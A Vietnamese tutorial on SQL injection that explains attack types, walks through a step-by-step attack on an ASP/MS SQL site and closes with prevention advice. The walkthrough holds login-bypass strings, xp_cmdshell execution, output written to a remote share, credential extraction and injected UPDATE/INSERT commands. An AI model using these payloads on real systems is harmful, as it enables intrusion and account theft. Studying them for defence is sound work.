**Tìm hiểu về SQL Injection** # Khái niệm SQL Injection SQL Injection là một kỹ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng của việc kiểm tra dữ liệu đầu vào trong các ứng dụng web và các thông báo lỗi của hệ quản trị cơ sở dữ liệu trả về để inject (chèn vào) và thi hành các câu lệnh SQL bất hợp pháp. SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác trên cơ sở dữ liệu của ứng dụng, thậm chí là server mà ứng dụng đó đang chạy. Nguyên nhân: - Dữ liệu đầu vào từ người dùng hoặc từ các nguồn khác không được kiểm tra hoặc kiểm tra không kỹ lưỡng - Ứng dụng sử dụng các câu lệnh SQL động, trong đó dữ liệu được kết nối với mã SQL gốc để tạo câu lệnh SQL hoàn chỉnh # Phân loại SQL Injection ![image.png](https://hackmd.io/_uploads/rJVz3xfQ6.png) SQL Injection có thể chia nhỏ thành các dạng sau: - **In-band SQLi** -- Error-based SQLi -- Union-based SQLi - **Inferential SQLi (Blind SQLi)** -- Blind-boolean-based SQLi -- Time-based-blind SQLi - **Out-of-band SQLi** ## In-band SQLi Đây là dạng tấn công phổ biến nhất và cũng dễ để khai thác lỗ hổng SQL Injection nhất Xảy ra khi hacker có thể tổ chức tấn công và thu thập kết quả trực tiếp trên cùng một kênh liên lạc. In-Band SQLi chia làm 2 loại chính: - Error-based SQLi - Union-based SQLi ### ERROR-BASED SQLI Là một kỹ thuật tấn công SQL Injection dựa vào thông báo lỗi được trả về từ Database Server có chứa thông tin về cấu trúc của cơ sở dữ liệu. Trong một vài trường hợp, chỉ một mình Error-based là đủ cho hacker có thể liệt kê được các thuộc tính của cơ sở dữ liệu. ### UNION-BASED SQLI Là một kỹ thuật tấn công SQL Injection dựa vào sức mạnh của toán tử UNION trong ngôn ngữ SQL cho phép tổng hợp kết quả của 2 hay nhiều câu truy vấn SELECTION trong cùng 1 kết quả và được trả về như một phần của HTTP response. ## Inferential SQLi (Blind SQLi) Không giống như In-band SQLi, Inferential SQL Injection tốn nhiều thời gian hơn cho việc tấn công do không có bất kì dữ liệu nào được thực sự trả về thông qua web application và hacker thì không thể theo dõi kết quả trực tiếp như kiểu tấn công In-band. Thay vào đó, kẻ tấn công sẽ cố gắng xây dựng lại cấu trúc cơ sở dữ liệu bằng việc gửi đi các payloads, dựa vào kết quả phản hồi của web application và kết quả hành vi của database server. Có 2 dạng tấn công chính - Blind-boolean-based - Blind-time-based SQLi ### BLIND-BOOLEAN-BASED Là kĩ thuật tấn công SQL Injection dựa vào việc gửi các truy vấn tới cơ sở dữ liệu bắt buộc ứng dụng trả về các kết quả khác nhau phụ thuộc vào câu truy vấn là True hay False. Tuỳ thuộc kết quả trả về của câu truy vấn mà HTTP reponse có thể thay đổi, hoặc giữ nguyên. Kiểu tấn công này thường chậm (đặc biệt với cơ sở dữ liệu có kích thước lớn) do người tấn công cần phải liệt kê từng dữ liệu, hoặc mò từng kí tự. ### TIME-BASED BLIND SQLI Time-base Blind SQLi là kĩ thuật tấn công dựa vào việc gửi những câu truy vấn tới cơ sở dữ liệu và buộc cơ sở dữ liệu phải chờ một khoảng thời gian (thường tính bằng giây) trước khi phản hồi. Thời gian phản hồi (ngay lập tức hay trễ theo khoảng thời gian được set) cho phép kẻ tấn công suy đoán kết quả truy vấn là TRUE hay FALSE. Kiểu tấn công này cũng tốn nhiều thời gian tương tự như Boolean-based SQLi. ## Out-of-band SQLi Out-of-band SQLi không phải dạng tấn công phổ biến, chủ yếu bởi vì nó phụ thuộc vào các tính năng được bật trên Database Server được sở dụng bởi Web Application. Kiểu tấn công này xảy ra khi hacker không thể trực tiếp tấn công và thu thập kết quả trực tiếp trên cùng một kênh (In-band SQLi), và đặc biệt là việc phản hồi từ server là không ổn định. Kiểu tấn công này phụ thuộc vào khả năng server thực hiện các request DNS hoặc HTTP để chuyển dữ liệu cho kẻ tấn công. Ví dụ như câu lệnh xp_dirtree trên Microsoft SQL Server có thể sử dụng để thực hiện DNS request tới một server khác do kẻ tấn công kiểm soát, hoặc Oracle Database’s UTL HTTP Package có thể sử dụng để gửi HTTP request từ SQL và PL/SQL tới server do kẻ tấn công làm chủ. # Cách tấn công bằng SQL Injection ## Quá trình tấn công bằng SQL Injection **1. Tìm kiếm mục tiêu** Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback,… Ví dụ: `http://yoursite.com/index.asp?id=10` Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới. ``` <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> ``` **2. Kiểm tra chỗ yếu của trang web** Thử submit các field username, password hoặc field id,... bằng hi’ or 1=1– ``` Login: hi' or 1=1-- Password: hi' or 1=1-- http://yoursite.com/index.asp?id=hi' or 1=1-- ``` Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ: ``` <FORM action=http://yoursite.com/Search/search.asp method=post> <input type=hidden name=A value="hi' or 1=1--"> </FORM> ``` Nếu thành công, thì có thể login vào mà không cần phải biết username và password. **3. Tại sao ‘ or 1=1– có thể vượt qua phần kiểm tra đăng nhập?** Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau: `http://yoursite.com/index.asp?category=food` Trong URL trên, biến ‘category’ được gán giá trị là ‘food’. Mã ASP của trang này có thể như sau: ``` v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) ``` v_cat sẽ chứa giá trị của biến request(“category”) là ‘food’ và câu lệnh SQL tiếp theo sẽ là: `SELECT * FROM product WHERE PCategory='food'` Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory=’food’ Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food’ or 1=1–, biến v_cat sẽ chứa giá trị “food’ or 1=1– ” và dòng lệnh SQL query sẽ là: `SELECT * FROM product WHERE PCategory='food' or 1=1--'` Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng ‘food’ hay không. Hai dấu gạch ngang (–) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau “–” sẽ bị bỏ qua. Đối với MySQL, hãy thay “–” thành “#” Ngoài ra, cũng có thể thử cách khác bằng cách submit ‘ or ‘a’=’a. Dòng SQL query bây giờ sẽ là: `SELECT * FROM product WHERE PCategory='food' or 'a'='a'` Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không: ``` ' or 1=1-- " or 1=1-- or 1=1-- ' or 'a'='a " or "a"="a ') or ('a'='a ``` **4. Thi hành lệnh từ xa bằng SQL Injection** Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa: `'; exec master..xp_cmdshell 'ping 10.10.1.2'--` Hãy thử dùng dấu nháy đôi (“) nếu dấu nháy đơn (‘) không làm việc. Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau: `#tcpdump icmp` Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành. **5. Nhận output của SQL query** Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML `'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"` Chú ý: folder “share” phải được share cho Everyone trước. **6. Nhận dữ liệu qua ‘database using ODBC error message’** Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer ’10’ với một string khác lấy từ CSDL: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--` Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là: `SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--` Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5 ``` Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, “table1”. Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có. Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--` Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--` Khi đó thông báo lỗi của SQL Server có thể là: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5 ``` Mẫu so sánh ‘%25login%25’ sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là “admin_login”. **7. Xác định tên của các column trong table** Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--` Khi đó thông báo lỗi của SQL Server có thể như sau: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 ``` Như vậy tên của column đầu tiên là “login_id”. Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--` Khi đó thông báo lỗi của SQL Server có thể như sau: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 ``` Làm tương tự như trên, có thể lấy được tên của các column còn lại như “password”, “details”. Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--` Khi đó thông báo lỗi của SQL Server có thể như sau: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 ``` **8. Thu thập các dữ liệu quan trọng** Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này. Có thể lấy login_name đầu tiên trong table “admin_login” như sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--` Khi đó thông báo lỗi của SQL Server có thể như sau: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5 ``` Dễ dàng nhận ra được admin user đầu tiên có login_name là “neo”. Hãy thử lấy password của “neo” như sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--` Khi đó thông báo lỗi của SQL Server có thể như sau: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5 ``` Và bây giờ là đã có thể login vào với username là “neo” và password là “m4trix”. **9. Nhận các numeric string** Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của “trinity” là “31173”. Vậy nếu ta thi hành lệnh sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--` Thì khi đó chỉ nhận được thông báo lỗi “Page Not Found”. Lý do bởi vì server có thể chuyển passoword “31173” sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau: `http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--` Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của ‘+’ là 0x2b). Chúng ta thêm chuỗi ‘(space)morpheus’ vào cuối password để tạo ra một string mới không phải numeric string là ‘31173 morpheus’. Khi hàm convert() được gọi để chuyển ‘31173 morpheus’ sang integer, SQL server sẽ phát lỗi ODBC error message sau: ``` Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5 ``` Và nghĩa là bây giờ ta cũng có thể login vào với username ‘trinity’ và password là ‘31173’ **10. Thay đổi dữ liệu (Update/Insert) của CSDL** Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này. Để thay đổi password của “neo”, có thể làm như sau: `http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--` Hoặc nếu bạn muốn một record mới vào table: `http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--` Và bây giờ có thể login vào với username “neo2” và password là “newpas5” ## Một số cách tấn công bằng SQL Injection phổ biến nhất ### Chèn SQL Injection dựa trên đầu vào Một cuộc tấn công SQL Injection thường phổ biến với việc sử dụng các đầu vào của người dùng. Các ứng dụng web đều chấp nhận các đầu vào thông qua nhiều hình thức khác nhau. Thông qua đó, những kẻ tấn công có thể gắn SQL Injection với các dữ liệu đầu vào và truy cập vào cơ sở dữ liệu máy chủ. ### Chèn SQL Injection dựa trên cookie Một cách tiếp cận khác với SQL Injection là sửa đổi cookie thành các truy vấn cơ sở dữ liệu chứa mã độc. Các phần mềm độc hại có thể được triển khai trên thiết bị người dùng thông qua thay đổi của cookie, nhằm mục đích đưa SQL Injection vào các dữ liệu Back-end. ### Chèn SQL Injection dựa trên headers HTTP Các biến của máy chủ như headers HTTP cũng có thể là mục tiêu tấn công của SQL Injection. Nếu một ứng dụng web chấp nhận đầu vào từ các headers HTTP, các headers giả có chứa SQL Injection có thể xâm nhập vào cơ sở dữ liệu. ### Chèn SQL Injection bằng bậc hai Một cuộc tấn SQL Injection bậc hai cung cấp các dữ liệu bị nhiễm độc, mà đây là các dữ liệu có thể được xem là lành tình trong một trường hợp nhất định, nhưng chứa các mã độc trong trường hợp khác. Bạn khó có thể nhận thức được các cuộc tấn công theo cách thức này. # Cách ngăn chặn SQL Injection **Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:** - Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL. - Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL. - Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số. - Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện. - Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi. - Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server. - Hãy loại bỏ các kí tự meta như ‘”/\; và các kí tự extend như NULL, CR, LF, … trong các string nhận được từ: -- input do người dùng đệ trình -- các tham số từ URL -- các giá trị từ cookie - Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer. - Thay đổi “Startup and run SQL Server” dùng mức low privilege user trong tab SQL Server Security. - Xóa các stored procedure trong database master mà không dùng như: -- xp_cmdshell -- xp_startmail -- xp_sendmail -- sp_makewebtask **Ngăn chặn SQL Injection trong ASP.NET** Trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL. Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.